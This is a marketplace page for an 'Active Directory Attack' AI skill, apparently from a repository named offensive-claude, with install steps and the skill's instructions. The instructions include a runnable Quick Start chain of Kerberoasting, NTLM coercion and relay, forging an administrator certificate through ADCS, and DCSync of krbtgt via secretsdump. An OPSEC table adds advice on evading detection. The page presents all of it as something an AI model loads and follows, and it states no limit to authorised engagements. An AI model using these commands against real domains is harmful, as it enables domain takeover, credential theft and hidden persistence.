Active Directory Attack logo

Active Directory Attack

Community
hypnguyen1209
active-directory-attack

Use when attacking a Windows Active Directory domain — Kerberos roasting/delegation, coercion + NTLM/Kerberos relay (CVE-2025-33073), ADCS ESC1-16 (EKUwu), ticket forgery & DCSync, dMSA BadSuccessor (CVE-2025-53779), BloodHound attack-path enumeration, domain dominance

Overview

Publisherhypnguyen1209
Repositoryoffensive-claude
Skill nameactive-directory-attack
Stars
396
Forks
71
Bundled files
12
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 12 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by hypnguyen1209 on GitHub. Read the source before you install it.

Installation

Install the Active Directory Attack AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/hypnguyen1209/offensive-claude/tree/main/skills/active-directory-attack
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/hypnguyen1209/offensive-claude.git /tmp/offensive-claude
mkdir -p .claude/skills
cp -r /tmp/offensive-claude/skills/active-directory-attack .claude/skills/active-directory-attack
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Active Directory Attack in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Active Directory Attack on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Active Directory Attack is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Active Directory Attacks

When to Activate

  • Attacking Windows domain environments after gaining any domain foothold (creds, hash, or unauth network position)
  • Kerberos exploitation: Kerberoasting, AS-REP roasting, delegation (RBCD/constrained/unconstrained), ticket forgery
  • Coercion + NTLM/Kerberos relay chains (PetitPotam/DFSCoerce → LDAP/ADCS, NTLM reflection CVE-2025-33073)
  • ADCS certificate-template abuse (ESC1-ESC16) and certificate-based domain takeover
  • dMSA / BadSuccessor privilege escalation on Windows Server 2025 domains
  • BloodHound CE attack-path discovery, lateral movement, DCSync, and domain-dominance persistence

Technique Map

TechniqueATT&CKCWEReferenceScript
BloodHound CE / SharpHound enumerationT1482CWE-732references/bloodhound-enum-lateral.mdscripts/ad_recon.py
Password spray / PtH / PtT lateral movementT1550.002, T1550.003CWE-522references/bloodhound-enum-lateral.mdscripts/ad_recon.py
LAPS / gMSA password readT1003CWE-522references/bloodhound-enum-lateral.mdscripts/ad_recon.py
KerberoastingT1558.003CWE-261references/kerberos-roasting-delegation.mdscripts/kerberoast_audit.py
AS-REP roastingT1558.004CWE-308references/kerberos-roasting-delegation.mdscripts/kerberoast_audit.py
Resource-Based Constrained Delegation (RBCD)T1558, T1098CWE-269references/kerberos-roasting-delegation.mdscripts/rbcd_takeover.py
Constrained/Unconstrained delegation (S4U)T1558CWE-269references/kerberos-roasting-delegation.mdscripts/rbcd_takeover.py
Coercion (PetitPotam/DFSCoerce/PrinterBug/WebDAV)T1187CWE-294references/coercion-relay.mdscripts/coerce_relay_chain.sh
NTLM relay (SMB/LDAP/ADCS)T1557.001CWE-294references/coercion-relay.mdscripts/coerce_relay_chain.sh
NTLM reflection (CVE-2025-33073)T1187, T1557.001CWE-294references/coercion-relay.mdscripts/coerce_relay_chain.sh
Kerberos relay / DNS CNAME (CVE-2026-20929)T1557CWE-294references/coercion-relay.mdscripts/coerce_relay_chain.sh
ADCS ESC1 (SAN) / ESC15 EKUwu (CVE-2024-49019)T1649CWE-295references/adcs-abuse.mdscripts/adcs_esc_finder.py
ADCS ESC8 relay / ESC16 CA-wide overrideT1649, T1557.001CWE-295references/adcs-abuse.mdscripts/adcs_esc_finder.py
Golden / Silver / Diamond / Sapphire ticketT1558.001, T1558.002CWE-345references/ticket-forgery-dcsync.md-
DCSync (DRSUAPI replication)T1003.006CWE-269references/ticket-forgery-dcsync.md-
noPac / sAMAccountName spoofing (CVE-2021-42278/87)T1558CWE-287references/ticket-forgery-dcsync.md-
dMSA BadSuccessor (CVE-2025-53779)T1098, T1558CWE-269references/dmsa-badsuccessor.mdscripts/Get-BadSuccessorOUPermissions.ps1

Quick Start

bash
# 0. Sync clock to DC (Kerberos needs +/-5 min)
sudo ntpdate <DC_IP>   # or: faketime "$(net time -S <DC>)" <cmd>

# 1. Enumerate: BloodHound CE collection (Linux) + own the graph
bloodhound-python -u user -p 'Pass' -d corp.local -dc dc01.corp.local -ns <DC_IP> -c all --zip
#   (use the bloodhound-ce branch; legacy collectors break CE ingest)
nxc ldap <DC_IP> -u user -p 'Pass' --bloodhound --collection All --dns-server <DC_IP>

# 2. Cheap wins on the graph: roast everything visible
python3 scripts/kerberoast_audit.py -d corp.local --dc-ip <DC_IP> -u user -p 'Pass' --asrep --kerberoast

# 3. Coerce + relay to LDAP/ADCS (RBCD or cert) if signing/EPA weak
bash scripts/coerce_relay_chain.sh corp.local user 'Pass' <DC_IP> <RELAY_IP> ldap

# 4. ADCS path: find ESC1-16 and grab a DA cert
python3 scripts/adcs_esc_finder.py -d corp.local -u user -p 'Pass' --dc-ip <DC_IP>
certipy req -u user@corp.local -p 'Pass' -ca CA -template Vuln -upn administrator@corp.local
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>          # -> NT hash / TGT

# 5. Windows Server 2025 present? Check BadSuccessor exposure
powershell -ep bypass -File scripts/Get-BadSuccessorOUPermissions.ps1

# 6. Domain dominance: DCSync krbtgt -> Golden ticket / persistence
impacket-secretsdump -just-dc-user 'corp\krbtgt' corp.local/da:'Pass'@<DC_IP>

OPSEC & Detection (summary)

TechniqueTelemetry / IOCDetection (Sigma / EDR)OPSEC note
SharpHound/LDAP enumHundreds of LDAP queries from one host; 4662 directory accessSIEM rule: single source > N LDAP queries/minute; ADWS 9389 spikesThrottle --throttle/--jitter; prefer ADWS (SOAPHound) to dodge LDAP heuristics
Kerberoasting4769 TGS-REQ with RC4 (0x17) for many SPNs from one hostSigma win_security_susp_kerberos_manipulation; alert on RC4 TGS burstsRequest AES-only SPNs sparingly; /rc4opsec; roast few accounts, slow
AS-REP roasting4768 AS-REQ no-preauth; etype 23Alert on AS-REQ for DONT_REQ_PREAUTH accountsOnly target accounts BloodHound flags; offline crack
CoercionEFSRPC/DFSNM/RPRN named-pipe calls; auth from server to odd hostSigma coercion/PetitPotam; RPC firewall (RpcFilter) logsCoercion is "by design"; NTLM removal on 2025/24H2 forces Kerberos fallback
NTLM relay / reflection4624/4648 NTLM logon to self; SMB→LDAP from non-serverDetect SMB-signing:False targets; CVE-2025-33073 DNS marshalled recordNeeds signing:False target; patch (Jun 2025) detects marshalled DNS struct
ADCS ESC4886/4887 cert issuance; cert with arbitrary SAN/UPN; client-auth EKU on web templateSigma ADCS issuance anomalies; certutil monitoring; ESC15 EKU injectionRestore templates (ESC4); EPA on certsrv breaks ESC8 relay
Ticket forgeryTGT lifetime anomalies; PAC w/o validation; 4769 for krbtgt SPNGolden: ticket lifetime > policy; Sapphire mimics real PAC (hard)Match domain ticket policy lifetimes; use AES keys not RC4
DCSync4662 DRSUAPI GetNCChanges from non-DCSigma dcsync; alert DRSUAPI replication from non-DC IPRun from a host that looks like a DC; avoid /all, target krbtgt only
dMSA BadSuccessor5137 dMSA create; 5136 write to msDS-ManagedAccountPrecededByLinkSigma SharpSuccessor exec; SACL on dMSA attrs (off by default!)Patched (Aug 2025) needs both sides controlled; still a creds-dump primitive

Deep Dives

  • references/bloodhound-enum-lateral.md — BloodHound CE v8 / OpenGraph, SharpHound CE & bloodhound-ce collectors, NetExec, high-value Cypher, password spray, PtH/PtT/OverPtH, LAPS v1/v2 + gMSA reads, AdminSDHolder/DSRM/Skeleton-Key persistence.
  • references/kerberos-roasting-delegation.md — Kerberoasting (incl. targeted/GenericWrite), AS-REP roasting, RBCD, constrained/unconstrained delegation, S4U2self/S4U2proxy abuse, tgt::deleg, hashcat modes.
  • references/coercion-relay.md — All five coercion methods + WebDAV/efsr_spray, NTLM relay to SMB/LDAP/ADCS, NTLM reflection (CVE-2025-33073), Kerberos relay & DNS CNAME (CVE-2026-20929), shadow-credential relay.
  • references/adcs-abuse.md — ESC1-ESC16 catalog with Certipy v5, EKUwu/ESC15 (CVE-2024-49019), ESC16 CA-wide override, ESC8 relay, ESC9/ESC10 mapping bypass, certificate persistence.
  • references/ticket-forgery-dcsync.md — Golden/Silver/Diamond/Sapphire tickets, DCSync, noPac (CVE-2021-42278/87), PAC validation enforcement (CVE-2024-26248/29056), trust/SID-history & cross-forest.
  • references/dmsa-badsuccessor.md — dMSA migration internals, BadSuccessor (CVE-2025-53779), pre/post-patch behavior, SharpSuccessor / bloodyAD / NetExec tooling, detection.

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Active Directory Attack AI skill do?

Use when attacking a Windows Active Directory domain — Kerberos roasting/delegation, coercion + NTLM/Kerberos relay (CVE-2025-33073), ADCS ESC1-16 (EKUwu), ticket forgery & DCSync, dMSA BadSuccessor (CVE-2025-53779), BloodHound attack-path enumeration, domain dominance

Why use Active Directory Attack on TypingMind?

Because you install it once and use it with any model. Active Directory Attack is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Active Directory Attack in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/hypnguyen1209/offensive-claude/tree/main/skills/active-directory-attack. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Active Directory Attack?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Active Directory Attack?

As many as you like. As long as a model supports skills, you can use Active Directory Attack with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Active Directory Attack AI skill free?

Yes. It is published on GitHub by hypnguyen1209 under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇